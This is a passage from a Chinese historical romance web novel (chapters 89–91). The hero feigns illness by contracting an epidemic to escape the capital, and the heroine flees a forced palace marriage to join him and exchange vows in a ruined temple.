可慕容耿背靠了大绥,依靠抢掠补足了短板,趁冬出其不意统一了鲜卑等部,那即将入春,大批的异族集结,他们要吃饭,要生活,那除了抢还能是什么? 更强大团结的异族,这时的大绥便是集结兵力来得及吗?阻挡的了吗? 光是想想还内斗不休的朝堂,王静姝便蹙了眉,脸也有点发白,她意识到,乱世,不再是说说而已,也不再只是自己人之间的争斗。 她自来是一点就透的女郎,此刻也更是联想至沈遐洲提起过,三月,他必能离洛。 “三月,这便是你等你机会?”女郎缓缓掀睫,眼中似有清波点点,她好似明白了为何是三月,没人能阻,没人愿送死,但沈二郎可以,沈遐洲也可以。 并州与冀州同幽州最近,鲜卑若想越过幽州继续南下,必然经此两州,陈雍也必然拿着沈遐洲的性命驱沈二郎出兵,沈二郎也不会放过换回沈遐洲的这个机会。 但,“陈雍会轻易放你离开吗?” 王静姝不确定地问。 沈遐洲笑着去勾女郎的手:“他不但会放我离开,还会给我一个大官做。” “卿卿,你要同我一起走吗?” 不管什么时候,什么险境,他总想着将女郎一同拐走,她太招人,他总放心不下,或者说,他就是偏执地不愿放,所有忍痛的放开,都是伪装出来的退让,是他欲擒故纵令女郎更不舍他的把戏。 他昔日可以放女郎回建业,是他能笃定,能把控无人可以抢走女郎,可这次不一样,若是他再放开女郎,即将到来的世道,会将他美好的女郎吞噬殆尽的。 可他知女郎不喜被强迫,再如何想强硬,也先将选择送到了女郎的手中。 他极尽了温柔和气,望着女郎的目光轻而缓,充满期待与祈求。 他实是王静姝喜爱的那种郎君,相貌出众,气质流离,垂下的目中满满是自己的身影,这让王静姝这般熟悉他、了解他的人,都在一瞬被俘虏了心魂。 堪要点头,她兀地咬了唇,“你要如何带我走?偷还是藏?” “沈九如,你自己走吧,做你想做的事去。” “我若想同你走,自会去追你。” 沈遐洲瞳仁蓦地一缩,只一眼,他就知道,女郎主意大极了,她才不依靠他,便是要走,也绝不偷偷摸摸的。 他为她的盛美、明艳折服,他愿退一步,可当中凶险与即将施于她身的算计,他必须告知。 沈遐洲有些落寞地收回勾着女郎的手,嗓音低弱消沉:“卿卿,若我说,王瑞欲将你献给陈雍,你也不同我走吗?” 第89章 第89章“轻微的病症并不会死人…… 虽早有料到王瑞又将主意往她身上打,但听得沈遐洲提及,还是惊讶了一下。 王瑞不应该早就放弃将她往宫中送吗?且现在这般乱的时候,便是陈雍也想不起要聘她吧。 她用眼去撩既难过伤怀,又有些同她置气的郎君,她知,他那小心眼,定然在收到她信的初时,就去查了个底朝天吧,不然不会连王瑞的打算都晓得了。 沈遐洲确实去查了,还查到了连他也不知的事。 他被王静姝的眼波撩得一颗心又酸又气,王静姝怎就同旁的女郎不一样,她一点都不知道同他服软,强硬极了,她就只知欺他,用得上了才哄哄。 她随意将自己的亲事用作权衡筹码时,可想过分明是他先的。 沈遐洲越想越酸楚,勾手将女郎拉得坐于他腿上,低头,下颌搁到女郎肩上,侧头间,触上她的颈,带着轻微力道地啃上一口,察觉女郎的颤栗,他才好受些地箍紧女郎道:“卿卿,你王氏人实是心眼多。” 王静姝扭头有些不服气地瞪他,她承认她大伯王瑞是心眼多,可整个王氏,王瑞一人心眼就占了七斗,怎可将她家中人一概而论,王闻俭和王闻礼瞧着就挺傻的。 女郎不服气双眼圆瞪的模样,也分外剔透漂亮,沈遐洲克制不住地在她鼓起的脸颊上亲了一口, 才肯定道:“我说的就是王瑞,你可知他同吕相有往来?” 王静姝点头。 沈遐洲又问:“那你可知吕相送进宫的吕贵人有孕数个月了?” 这王静姝实是不知,一时惊讶,不过想想陈雍登基至今,也是该有个子嗣了。 但这些都同王瑞对她的安排有何关?无论怎么看,这时都没有必要再送个王氏女郎去宫中分一杯羹。 沈遐洲怜惜望她一眼,袖中抽出一封信件,上头字迹王静姝也再熟悉不过,是她父亲寄给她的。 王静姝接过,信早有被拆过的痕迹,再次经手打开,入目便是父亲的提醒,假婚书一事已被拆穿,欲接她归建业。 此时还有什么不明白的,王瑞遣人回建业查探荆扬两州联结真假了,还扣下了父亲给她的信件。 王静姝显然怒极,攥着信的手不断收力,书信渐在她手中拧成团。 然王瑞所为还不止如此,他贪心至极,一边同吕相合谋分化陶敬旧部,一边料得了些慕容部族的狼子野心,一直等着这个机会,欲建言陈雍迁都。 至于要将王静姝送入宫廷,那是因他连吕相也一同设计,欲在吕贵人生产后,揭发吕相陷害帝王,到时陈雍染疫,吕相又被清君侧,迁都在即,小皇子交予王氏女郎 抚养,王瑞顺势领南地世家拥之,岂不是挟天子令诸侯? 这些事明明什么都没发生,但一件件连在一起,实在是像王瑞会想出的算计。 王瑞知她同周家的婚事的假的,他自有旁的利益可驱使周家,而她会被留在洛京送入宫廷,当一个抚养小皇子,将小皇子把控在王氏手中的傀儡,且南地一直积蓄着实力,到时再收复北地也不是不可能,万世功业皆可成。 她大伯可真是好算计! 见王静姝想明白,沈遐洲理着她颈后的发,又问:“卿卿,要同我走吗?” 他问的很缓也很有耐心,像是早就料定她反应似的。 也对,从一开始便是他将王瑞所谋拆开了地铺展在她面前。 她眼前的郎君最会装相了,只她总表现得比他更强势,所以他学会迂回了。 女郎倏地盯着沈遐洲,眼睑线条随着眼褶掀动,眯成了漂亮又危险的形状,沈遐洲未免知道得太过详实,就如王瑞肚中蛔虫一般。 除非,是他诱导了王瑞! 王静姝从不觉得自己会比沈遐洲、王瑞等人聪明,但她无疑比谁都了解沈遐洲,这就是个不择手段,还有绑走她前嫌的疯郎君,尤其是他每说一会便不忘问她可要同他走。 王静姝越想越肯定,沈遐洲也被她盯得越发心虚,否认:“我当真什么也没做。” 王静姝不信。 沈遐洲再退让一步:“是我用慕容部族的消息启发的王瑞迁都之想。” 女郎锐了眼眸,猛推郎君胸膛。 沈遐洲受痛一下,却固执地后拥女郎不放,他知,若是不将此事说清,王静姝或误他也在其中逼迫了她,只为逼她同他一起走。 “王瑞与吕良之间合谋,我并不曾骗你,只吕良昔日助陈雍逼宫我母,陷我父等人于死地,我难放过他。”他低弱了嗓音,容情却在女郎瞧不见的地方阴戾无比。 “卿卿,让他们狗咬狗岂不快哉?” 王静姝在一瞬,感到了郎君无边的恶意,那是他近来隐藏极好的病态。 她欲扭头,沈遐洲却不愿女郎瞧见他现在的模样,他用拇指抵着女郎的颈颌,轻轻揉着,既在安抚女郎,也在敛着开闸了的恶意。 “世道如何我不关心,可有人在乎,卿卿,我总要为二郎铺路。” “把陈雍赶去南地,你大伯夙愿成了,日后也师出有名了。” 沈遐洲眸中似有一团火焰,既足够疯狂漠视,又足够冷静自持,寥寥几句话,轻易将大绥所有的举足轻重之人搅入。 王瑞、吕相、陈雍皆为他手中棋子。 你若说他坏得没边,他又偏将如何收场都考虑入内,有朝一日,平复北地动乱,驱离异族,沈二郎实是再好不过的收尾之人。 且一山不容二虎,迁都,于陈雍而言,可得安稳;于王瑞而言,南地世家也可稳压新迁北地世家一头,夙愿得偿; 而北地世家必然有安土重迁的存在,又为一分化。 沈氏若从这时重新出头,不难将这些遗留的北地势力吸纳,再往后,新权立,南北谁输谁赢? 王静姝想得怔忡,沈遐洲却在这时握住了她的手:“卿卿,我料定了许多,唯独没料王瑞已窥破你那假婚书,欲将你送入宫中抢夺吕嫔孩儿。” 他抬起女郎的手,掌心向上,发誓:“若我有骗你,将你算计其中,便令我不得好死,不得与你共白首……” 话还未说完,女郎却已扭身,手指压住了他的唇,她不喜欢听沈遐洲总提死不死的:“我信你。” 沈遐洲欣喜,却见女郎收回手,还同他拉开了距离。 他用眼追女郎而去,目中满是控诉,疑王静姝根本不信他,又在哄他。 王静姝无畏地笑笑,就是在哄他又如何? 眼见着,沈遐洲气红了眼,唇角也越抿越紧,倏地像是要杀人的模样掠过女郎。 好在王静姝一直观察着他,甫一察觉他动作,便极快地拉住了他袖袍:“你去哪?” “我去杀了王瑞。” 沈遐洲简直是气疯了,竟想直接杀了王瑞向女郎证明。 王静姝也被他惊到了,挡在了沈遐洲的面前:“便许你瞒我那么多事,不许我晾晾你?” 她信沈遐洲的话,沈遐洲再如何算计,他那连假婚书都容不下的心眼,不可能大方到把自己同陈雍扯上干系,怕是撇开都来不及。 他最多的算计,也无非是摆出事实,告知她一个貌美女郎,在洛京可能的迁都后,会有多危险,只王瑞比他狠心多了,对侄女的利用也彻底,二人各自算计交错在一起,沈遐洲实易背黑锅。 王静姝心底早想得透彻,对面前郎君笑意嫣然恬静。 沈遐洲一瞬便品出了意,苍莽杀气尽褪,咬牙切齿却又无可奈何地恨恨道:“卿卿,你实会欺我。” 王静姝笑意更深,忽地仰颈,主动勾上郎君肩背送上一吻,直亲得郎君飘然才松开,才问:“现在还觉得是我欺负你吗?” 她实在狡猾,偏生沈遐洲就吃她这一套,便是被戏耍也甘之如饴。 郎君红着脸开口:“那你再欺欺我?” 这吻索得实是不要脸,王静姝也被他撩拨得红了面,不禁羞恼,骂他:“不要脸。” 沈遐洲不吭声了,一双乌墨似的眼眸直勾勾盯着女郎,似敛着光,又似含着欲。 他真是极好撩拨,便是被女郎骂也极为有感觉。 他又问:“卿卿,同我走吗?” 同前几次带诱又低弱的询问不同,他显出了本性中的强势,高大身影几乎覆住了女郎身形,他不再循循善诱,充满了侵略与决然。 然王静姝若会被他吓到便也不是王静姝了,直击要害问:“你要如何带我走?你自己又是如何走?” “你如何让陈雍给你大官做?” 四目相对,女郎认真,但又促狭。 显然地,她早猜到了。 沈遐洲一瞬弱了气场。 “让我猜猜,”女郎好整以暇:“陈雍多疑,即便沈二郎要交换你,也不会轻易放你离开,遑论还给你大官做了。” “除非——” “你病得快要死了。” “那留不留你为质都无关紧要,不如给你个封个官,让你去御敌送死。” “且到时必然昭告天下,你便是不去也得去,沈二郎若要救你,也必然尽心抗敌。” “卿卿聪明。”沈遐洲称道。 王静姝却不领他夸,反面色变得凝重认真:“你才养好伤,你要如何装病?” 沈遐洲默然不语。 陈雍多疑,不可能不确认沈遐洲病得真假,如今最可能也最难解的病症,无疑是疫病。 沈遐洲想染疫病! 王静姝不是没有想到这个可能,但此刻才从郎君神情中真切确认,心中说不出的酸涩与怜惜。 沈遐洲完全可以直接逃离的,以他的本事逃出如今的京畿并不成问题,但他要那个“大官”的名头,先有了名头才有更多名义去招兵,去做更多事。 “轻微的病症并不会死人。”沈遐洲小声强调。 第90章 第90章她会去追她想嫁的郎君 疫病初时确实不会死人,初时或只如风寒,但随之而来的高热、呕吐等虚弱症状才是凶险,且疫病在不同人身上的表现也不同,有人甚至会浑身生疮。 这或是因病患们群居,某些隐性病症也一同报爆发的缘故,而有条件的富贵人家,有人照料,环境干净,草药充足,又有医者看顾,往往不至病得更严重,多能及时控制病症,痊愈的可能性极大。 可再有把握,谁能保证没有意外呢? 王静姝打心底里不赞同沈遐洲所为,也瞧不起他身子骨。 但也是这样的郎君,韧性极强,武艺也高强,总能超出她认知的病弱标准。 她时而蹙眉,时而扫向郎君的身形几眼,似在做什么估量,然扫着扫着就有些变了意味,郎君宽袍文弱 ,但宽肩窄腰身量甚好,腰带玉勾也卡得恰到好处,正显出了腰腹的劲瘦。 她记得极为清楚,二人关系真正破冰的契机,便是沈遐洲在同斗牛较量,年轻郎君袖袍飞扬间,肩胛振振,腰肢拧如飞鸪,煞是优雅巍然。 且也是这处,她多次攀上过,支撑过她,其中力道光是想起,便觉一阵面热,她既无法帮助他,那便该信任他。 王静姝终是压下对郎君决定的置喙,只轻轻扬了扬眉道:“沈九如,你若出了事,我可不会替你守。” 沈遐洲垂目望她,笑意很浅,他便知他的女郎会理解他,点点喜悦满溢间,令他想也不想地否定了女郎话中的可能:“你想都不要想,卿卿,你只能是我的。” “你方才可是在肖想我?”一想到女郎方才面颊微红盯视出神的模样,沈遐洲便被如被火燎般火热,他不断凑近,在王静姝松动间,将她的手牵至腰间,似询问地喉间发声:“是这?” 王静姝在一瞬听到自己狂跳的心跳声,郎君层叠衣物下的劲腰触着比瞧着还要紧实,但想法太过孟浪,她矜持缩手,却被沈遐洲掌住: “卿卿,你还未答我,要不要同我走?” “你肖想我也无妨的,我早知你对我的喜爱,你是我的,我也是你的。” 说至最后一句,他含蓄一笑,满是羞赧。 王静姝却终于回神,唾他:“沈九如,你竟对我使美人计,不要脸!” 被骂,郎君容色可见的扭一下,他发现,王静姝似真的没有打算同他一同离开,好看的墨眉忧愁伤心地拧在一起,松开女郎,问:“为什么不同我走?” “卿卿,便是你同我走了,也无甚影响。” 王瑞的所有谋划中,女郎有用,但少这一环,才是沈遐洲最初的谋划,皇嗣是吕贵人的,即便吕相倒了,但唯一皇嗣的生母不至出事,其恨在一些旁的北地世家支持下,必然不会令王瑞独大得过分,至少不会令他安生。 王静姝既已无了假婚书的庇佑,实没必要再留被王瑞利用。 他将姿态利益已经摆得足够明晰,他不懂王静姝为何还不松口。 王静姝倒不是不懂沈遐洲的用意与担忧,可感情一事,从来都是相互奔赴的,沈遐洲既然为她考虑,那她何尝不为他考虑? 沈遐洲既要病得让陈雍放松警惕赐下官职离洛,那他离时,必然仍病着,且明面上带的人并不多。 而她,在此前若突然消失,定然难以做到神不知鬼不觉,王瑞也极容易想到沈遐洲身上,或想得更深一点,既然王瑞见过沈遐洲的本事,猜是沈遐洲杀的陶敬,得到想要的局面后,难道真的放心看着沈遐洲挣脱囚笼? 她大伯可从都是墙头草,利用爬完的墙头可推倒了不止一座。 她不会与沈遐洲一同走,至少不会在他安然离开京畿前走,她不喜被逼迫,同样不喜成为拖累。 二人皆各执己见地对视,郎君满眼执拗,而夜里并不带妆的女郎,乌发垂腰,宛宛含笑,如画般温婉容雅。 恰是这种姿态,才更坚决,不可改变,她其实从来都比他更强势。 夜更深,月更隐,二人终是没有谈拢,只得各退一步,暂且揭过。 往后几日,果没一处是安生的,疫病像是入了爆发期,诸多小病症的百姓忽地病情加重,便是内城的富贵人家,也不断在往外送出出现病症的主人和仆役。 人心惶惶下,边境也又有了动静,慕容部族整合了鲜卑羌胡的势力,又再次盯上了大绥这块肥肉,边境接壤的各处不断有战报传入朝中,无不是异族的挑衅与试探。 各地应接不暇,兵力分散,戍边将士皆被耗得心力憔悴,而朝廷又给不得他们强有力的援助,诸多压迫难支下,有软骨头的将领在被俘虏后,竟倒投了异族。 慕容耿也极会收买人心,对投降而来的将领很是优待,甚至令其为先锋,逐渐的,慕容耿在幽州集结的军力再不可忽视。 而民间暴动后,也多有起义出现,有义士振臂而呼:“王室多故,大道颠覆,蝼蚁之命,亦有壮心!” 多有人闻之而聚。 内外不安下,陈雍调动兵马以御慕容耿,然节节败退,冀州连失数郡,慕容耿一路猛攻,铁骑剽悍。 若再令其一路南下攻破冀州,恐至洛阳城下。 洛阳城中也不断有急令而出,调动青州与并州兵马截断击退鲜卑骑兵。 然青州尚且能听令,并州却似早料到了天子旨意似的,调令方出城不久,沈二郎的奏请也送入了宫门。 沈二郎愿倾所有抵御鲜卑骑兵,但望天子能放沈三郎离京,以全兄弟之情。 此奏章由沈二郎亲自书就,言辞恳切之余,是定要接回沈遐洲的坚决。 陈雍读完信的当日,气得直将信拍御案上,引得一阵咳,他早就知不该留沈氏这些血脉,但沈氏树大根深,旁支嫡系皆有经营。 沈照更像是早就料到来日一般,一直派沈大郎把控着太原诸郡,旁支即便一时投诚新朝拿下沈大郎,仍旧不足以取代嫡系的威慑,拥趸也不得一时除尽。 后更是吕相在其中搅局,大力保下沈遐洲,给了他们喘息的机会。 陈雍也不是不曾想过起兵,但他皇位取来得太快,坐上的日子也太短,而在此前,长公主绝不会给他有把握军政大权的机会,所培植的势力,也无以成部、成营,可用的陶敬,也需得放在京畿重镇,才可令他安心。 至于其余各处的军阀,除去师出无名外,世家大族盘根错节,有如南地这样距离过远的,也有归附但不得用的,还有诸多在持观望态度的—— 皇权与世家之间长久暗暗较劲,作为皇室自是想收回皇权,而世家想的却是帝王放下更多的权力,恢复古制,他自是不肯放权,且从一开始就以长公主主战的引,暗削了吕相为首的诸多世家所控势力。 这才有了长达一年之久的平衡与相互提防,若陶敬不死!亦或大绥再安定得久一些,再给他多些时间!他定能扩大拥兵,推行新制,削弱豪强世家,他会将长公主做不到的事皆做到。 陈雍想得腮帮发紧,想得发狂,所有大业明明就在眼前,可老天为何不帮他? 干旱、鲜卑、流民、疫病,一件接一件事地要亡他! 沈二郎如今竟缓过了劲,要他放回沈遐洲,陈雍似想起什么地冷笑,沈二郎也不怕接回去一具尸体? 除夕前,就有内监来报,沈遐洲伤寒重病,近来似还染了疫病,有抓捕洛京隐瞒疫病不报的廷尉正来问询如何处理沈三郎,可是一视同仁? 他是如何答的? 陈雍回想一下,他答的是一视同仁,迁其到辟出的疫病治所,但为表对沈遐洲的关爱,单独给他一个小院落,且可多带几人服侍。 然所谓的疫病治所,不过是个隔离等死之所,至于真的能不能好,全看天命和命硬否。 陈雍重新琢磨起沈二郎的奏请,大大批了个准字,再唤来人,去看沈三郎是死是活。 放下此事,陈雍不受控地咳嗽几声,他一直在调理的老毛病好似又犯了,近来医官皆是谏言他莫要操劳,多加修养,可哪得修养? 前有慕容部族虎视眈眈,近有诸多世家等着趁虚而入,除非—— 迁都! 这个念头自从王瑞在担忧他身体之时,无意提及一次,他便放在了心上,建业隔江,便是北地抵挡不住慕容耿,也轻易跨江南下不得,且南地世家一直想出头,正可给他们这个机会,是时,尾大不掉的北地世家也可趁机削去一部分。 然谁能保证王瑞不是下一个吕良? 陈雍满脑平衡之法,殿中又是几声咳嗽。 殿中伺候之人,再是剔透不过,哪有这般久不好的风寒,听闻疫病的初 期可不少就如风寒这般,可陛下越发易怒了,又哪有人敢去当面言及这种猜测,便真是天子病了,难道还能隔离天子不成?只能祈祷着陛下就单纯犯了旧疾是风寒罢了。 诸人一时照料得更是尽心自是不说。 * 是年三月未尽,慕容耿又夺下冀州几座城池,眼看就要越界,陈雍遣人为沈遐洲做了最后的诊治,任其为右将军、前锋都督,并假节。 即是暂赐下符节,提高威信。 沈遐洲便是要带着这些封号,和不过百余兵卒,直赴战场领冀州残军。 陈雍远望离去的车马与兵卒,笑中没有一丝温度,他可是应了沈二郎,给了他们兄弟重逢的机会,也给沈遐洲一途带上了吊着性命的医官,至于能不能见上面,就要看沈二郎到底有多在乎这个弟弟,可能及时赶至冀州援助了。 所有官职在一个将死之人身上都是虚的,他最终所指皆为烧尽沈氏最后的血脉,做他迁都的最后一道屏障。 陈雍已下定决心迁都,唯有迁都,方可摆脱现下的桎梏,获得喘息,重头再来,他欲先纳王氏女,再迁都后封其为后同南地世家示好,但同时,他也会令吕嫔诞下子嗣,给随同迁都的北地世家希望,好形成相互辖制。 但对这个即将到来的子嗣,陈雍心绪很是复杂,若说吕嫔不是有意瞒过先头几个月,他自是不信的,也不得他不怀疑,是这些世家欲联结扶持一个傀儡小帝王取代他,他对这唯一可能到来的子嗣更多的是恐慌。 可他又不得不暂时接受这个子嗣,作为帝王,有嗣方可证明国祚绵延,若从这点看,这个孩子来的又极为恰到好处。 与此同时的大司农府,王静姝面前摆着的是华美至极的嫁衣,玉饰环佩更是铺满瑶盘,而门外多是看管她的卫士。 明日,王瑞将将她送入宫中,她于满室耀目间抬目:“大伯便不怕胃口太大,难以消化?” 王瑞并不理会她话中的嘲讽,多有警告她多为家族考虑,莫生幺蛾子。 王静姝笑笑不言。 明日啊,她会去追她想嫁的郎君。 既早知王瑞的打算,她又怎么可能不防,她自来是大胆的女郎,她从不介意将让该混乱的变得更混乱。 王瑞此时送她入宫,无非是给陈雍迁都的一个保证,一个立场的证明,表忠心的态度,而王瑞待迁都后也自然报之桃李。 可下棋之人最怕的是掀翻棋盘的人,她就是要掀了这棋盘,王瑞既想两面三刀,她便令吕相知其欲背刺,也令陈雍知自己已染疫轻症。 他们所谋皆将重新洗局。 这一夜,王静姝奇异地睡得平静安稳,清晨就起梳妆,王闻俭一早来了一趟,道已偷将她被扣押看管的卫士放出,王斐如又为她遣来的卫士也大半换入了送嫁队伍中。 这场亲事本质不过一场交易,一个牺牲,加之洛京城中的氛围,她的这场送嫁并不轰烈,一半宫中迎夫人仪仗,一半大司农府的送嫁,会经一横贯宫门与外城门的直道。 而在她从大司农府出发行至这条直道的同时,也有人在动怒,吕相同王瑞共商扶持将来的皇嗣取代陈雍,可一早却有人传信于他,王瑞送族中女郎入宫,非是帝王单方面看中王娘子的逼迫—— 而是王瑞欲令王娘子将来照料小皇子。 吕相也是极为精明之人,不用再多言细节,自能体会其中关窍,什么时候需要非生母的取代吕贵人照料皇子?唯有吕贵人不在亦或是他也不在。 如何能不怒上王瑞心计之狠毒! 除去动怒的吕相,同怒得呕血的还有陈雍,陶然自来厌恶王静姝,她所想最多的也不过令王静姝为陈雍玩物,而不是同她平起平坐甚至有一日地位会高于她的夫人,好在一早她收到宫外兄长陶信传来的消息,言有人害陛下染疫,陛下恐已染疫! 所有医官被宣诊,有不敢断定的,也有道或只是风寒。 陈雍其实已感连日的精神不济,此刻慌怒下,已然有几分确定,殿中医官拖下去近半,哀嚎不断至外传入。 是时,云荡风扬,绯红垂帐纷飞,车中女郎忽地自掀开垂帐,立即有送行卫士围上前,送上一匹切断马辔的拉车骏马,朗声:“娘子先走!” 登时送嫁队伍好似自己人同自己人厮杀至一处。 这条直道直通城外,女郎自跃上马,眼中便只有一个目标。 绯色身影同金羁烈鬃,疾奔而过,不断有出现阻拦的,也不断有出现护送的。 马蹄飞跃,不断有金银玉饰落下,更有厚重外袍抛下,是嫌累赘的女郎,不断从身上割舍之物。 身越轻,马越快,滟滟女郎,唯见神采飞扬。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第 91 章【VIP】 第91章 第91章你我成亲吧 骏马扬蹄捕风,在女郎的控制下奔腾闪避,不过数十丈的距离的便可冲出城门。 然城门守卫远瞧见了一路奔奔驰而来的动静,多有防备,且也不知从哪窜出的一队宿卫巡城人马,生生截断了王静姝的去路。 骏马被勒得嘶声抬蹄,女郎也险些被甩飞出去,但好在王静姝在急停前牢牢夹住了马腹,也及时躬身抱住了马颈。 骏马安定,马背上女郎挺起身,发丝缭乱间,冲击极强的艳色容颜,直面来人,目色迫人。 吕思温呼吸陡地加重,他知王静姝今日入宫,本不愿巡至此伤怀,然动静太大,引得他不得不带人来看,一拦下,才发现竟是王娘子逃亲了。 王静姝此刻根本不管来人是谁,身后集结而来的卫士做好了硬闯的准备。 吕思温干涩开口:“王娘子。” 一声下,王静姝终于瞧清了拦住她去路的是何人,目光却放得更远,只见城门就在不远,后头除去自己卫士,也多有察觉动静呼哨而来的追兵。 王静姝没空同吕思温叙旧,勉强勒着马辔,语气又急又快:“吕三郎,你也要拦我?” 吕思温身后巡卫显然也瞧清了高马之上的女郎,惊恐之余已拔出兵刃,要阻去路,然吕三郎不曾下令,他们心中焦急,却不敢过分举动,只去瞧领头的吕三郎。 所有思量于各人而言不过瞬息,吕思温在女郎出口后,压下苦涩,脚步便紧跟着挪动让开,随之大喝:“都退下!” 有人不甘与担忧,似想劝阻吕思温。 然吕思温已然拔出腰挎佩剑,却并不对向王静姝,而是冲向王静姝身后即将追上的追兵,一众巡卫两厢纠结一瞬,决定跟从吕思温。 王静姝眸中划过一丝讶异,但城门近在眼前,她无隙为此停留,马鞭一扬,骏马再次的冲撞,越过阻挡栅栏。 在关城门的守卫,被女郎不要命似的冲袭惊得后撤,生生望着秾丽至极的女郎冲过他们关到一半的城门。 隐约间,王静姝似听到有人同她告别,伴着混乱脚步、兵刃当啷,听不真切,她扭头回望一眼—— 厚重城门仍在缓缓闭合,一年轻俊朗的面孔,同她扬笑与挥手。 最后,城门彻底关上了,不再打开,也无有追兵追出。 一瞬的,王静姝想起赤城少年郎君,不止一次欲向她伸出援手,这次,她终是得吕三郎相助了。 同她一同奔出的卫士,察觉了王静姝的晃神,提醒:“女郎,不能久留。” 王静姝扭头,不再多留,快马疾驰,徒留乱得更彻底的洛京城。 * 早一日离京的沈遐洲并未行得多远,他恹恹擦着手中鲜血,眉目间满是凉薄的冷淡之色。 同行唯一的医官瑟缩在翻倒的车驾后,心惊不已,自出洛京,过河内郡,他们一行就遭遇山匪。 山匪训练有素,胆大非常,就连朝廷的人马也敢抢,兵卒不断死伤,沈三郎却不为所动,山匪换上了兵卒衣物,护送沈三郎同行。 此见已足够令医官胆颤 ,然再行不久将入怀县,沈三郎又遇刺杀,他亲眼见沈三郎捏死了一刺客颈骨,刺客鲜血淌至沈三郎苍白修长的手指,名唤星泉的仆役递上打湿了的巾帕。 沈三郎每擦拭一下,医官的心便震跳一下,恐瞧得太多,下一个死的就是自己。 然而,他再瑟缩,也有人注意到他,星泉将他从车驾后扶起:“老先生,还好你没事,你给我家郎君瞧瞧,可有哪里不适。” 医官抖了抖,沈三郎都还能杀人,他几乎要怀疑,此前为沈三郎诊断的那些医官是不是眼瞎? 医官姓韩,他会被选中跟同沈三郎离洛是,已可见被排挤,也秉着活一日算一日的想法随在沈三郎其列,两日下来,沈三郎不曾请他诊脉,加之所见,更是恨不得自己能消失。 现被提至沈三郎身前,周旁都是凌乱的刺客尸体,被沈三郎眼风稍带一带,他就已觉短命不少,不过为保命,他仍腆着笑等着示意。 沈遐洲扔了巾帕,指骨再次干干净净,并不理会星泉的多事,他的身体,他自己知晓,病症从始至终都不重,真正能影响诊断的是疫病的脉象,加之他显出的虚弱。 因疫病而死的人太多了,即便挺过疫病因虚弱而死的也大有人在,故而即便医官对他诊出了几分不对,疑惑下也会不有人多事,他是一个要被帝王送去冀州送死的郎君,真虚弱假虚弱又有几分区别? 而帝王也既知沈三郎染病,便不会直接召见,能在贵人间游走的医官,自然知道比起疑心沈三郎,倒不如安抚陛下的疑心。 沈遐洲不愿再令韩医官诊脉,他心底悲观,女郎既不在,好一点或差一点又有什么所谓? 他目光遥遥望向来时方向,面有戚戚。 星泉瞧得面颊抽抽,郎君分明是在等王娘子,莫不是怕医官瞧好了,装不得可怜? 星泉照料沈遐洲多年,又多见过二人相处,已能下意识将真相猜得八九不离十。 沈遐洲能这般轻易放任王静姝独留洛京,二人显然不知商议了多少次。 王静姝于京中假意服软,实则于这一日出逃,而他,于途中解决了护送军卫,全换上了自己人。 也不出所料地,遇得了刺杀。 这些死去的人,无非分几种,安插防备他的,或企图等至冀州混入两州营防中伺机而动,传递消息的,还有王瑞这般知他本来面目,来试探的,若能除去他自是好,若是不能除去,那也达到了试探的目的。 想起女郎不同他走的理由中,就有这些缘由在,他便控制不住地暴虐。 即便全部料理,也难压阴鸷,他的女郎穿上嫁衣,不是为他。 他总控制不住地去计较,去懊恼,或就不该一再对女郎退让,由她自行脱身。 王静姝怎么可能会是他的拖累? 她从不会是他的拖累,若非说是拖累,他才或是拖累,若无他,王静姝怕早就可于建业安然度日,远离旋涡。 他越想,越自艾,越凄苦。 然遥远的视线中,橙红薄暮,蹄声奔近,有女一人,若披彩翼,飒飒夺目而来。 天地间,好似只存留了女郎一人的色彩,沈遐洲心跳猛地加快,远远张臂。 王静姝也早已瞧见沈遐洲,毫不迟疑地松开早已握得麻木的缰绳,跌身而下。 女郎入怀,惯性不停歇的马匹从二人身畔擦过,沈遐洲下意识护更护了护女郎。 王静姝自洛京城门而出,便不停歇地驰马,此刻除去身体上的疲乏麻木,她竟觉兴奋颤栗无比,她可想,她的这出闹,王瑞会有多么难收拾烂摊子,且还会抓她不得。 她同卫士分了好几路纷逃暂不提,她命人送给吕相与大将军府中的消息,都够他们各自关系破裂,僵持上许久了。 任是谁的筹谋都被打乱重来。 她为此感到畅快,浑觉出了一口憋闷已久的恶气。 缓过一口气,她抬目望向眉眼清淡的沈遐洲,仰笑中满是亢奋:“沈九如,你我成亲吧,我当你夫人。” 苍穹辽阔,四野无风,沿途灌木青草泥土香中还飘杂着些血腥气味,可就是于这样无旖旎又显寥落寂清的环境中,他的女郎说要嫁他。 顷刻间,似有银瓶自心间乍破,无数情潮汹涌而出,他感觉自己血液也随之沸腾,声音都好似不是他的激颤:“好。” “好”字一出,沈遐洲拥女郎几步跃身上马,甩下所有惊诧之人,红霞也坠在他们身后,瑰丽色泽蔓延无边。 像美梦,又像一场奔赴。 马匹在渐暗的天色中不断扬蹄,直到途经一破败庙宇。 二人心有灵犀般共同看向那于幽静夜色中存在的庙宇,沈遐洲先下了马,女郎也随之伸手被接下。 然也是到了这时,又是沈遐洲平静了沸腾血液,他用一种专注但又觉亏欠的眼神看向女郎,日月为盟,神鬼为凭,天地为证,可总归不够盛大,不够堪匹女郎。 她耀耀如日,更显他总欲将她绑缚在身边的阴暗。 王静姝察觉他的停顿,不用多想,便可猜得他所思,可她向来随心而动,随性而行,她今日便是想践诺,想即便过了今日,也同他在一起。 “沈九如,你不会还要我等你吧?”王静姝逼近沈遐洲一步,艳色夺人,神似妖孽,“我不要等了,我要你是我的。” 她实是美艳不可方物的女郎,还强势,偶尔透出的疯狂任性简直不输沈遐洲,一时间竟分不清到底是谁拐了谁。 沈遐洲也实习惯于在女郎面前示弱,松神下笑得一派甘之如饴,被女郎不容拒绝地拉入了庙中。 墙寺破败,神佛却仍旧悲悯众生,二人并非虔诚信徒,可跪至佛像前,心潮诡异地静。 至少这一刻,他们是极希冀神佛存在的—— 神佛在上,鬼神为宾,纵前路荆棘,亦将无惧赴此生。 两心相知,永生永世,不离不弃。 若负卿卿,永无轮回。 年轻郎君与女郎的声音叠在一块,虔诚又深情,郎君兀自多添的一句话,令女郎轻轻抬起眼,静静凝视他。 神佛俯视,破瓦漏下的束束月华,披落二人周身,好似覆着一层薄薄的光,王静姝无比清晰,她喜爱沈遐洲,他或有诸多毛病,不够完美,可这好似就是他们的命数,从幼年惊鸿一见,就注定了的缘分。 她于神佛之下,倾身上前,仰亲郎君。 她足够荒唐,但又足够热烈,也足够令人悸动,二人于神佛之下拥吻,既不逊,又好似理所应当。 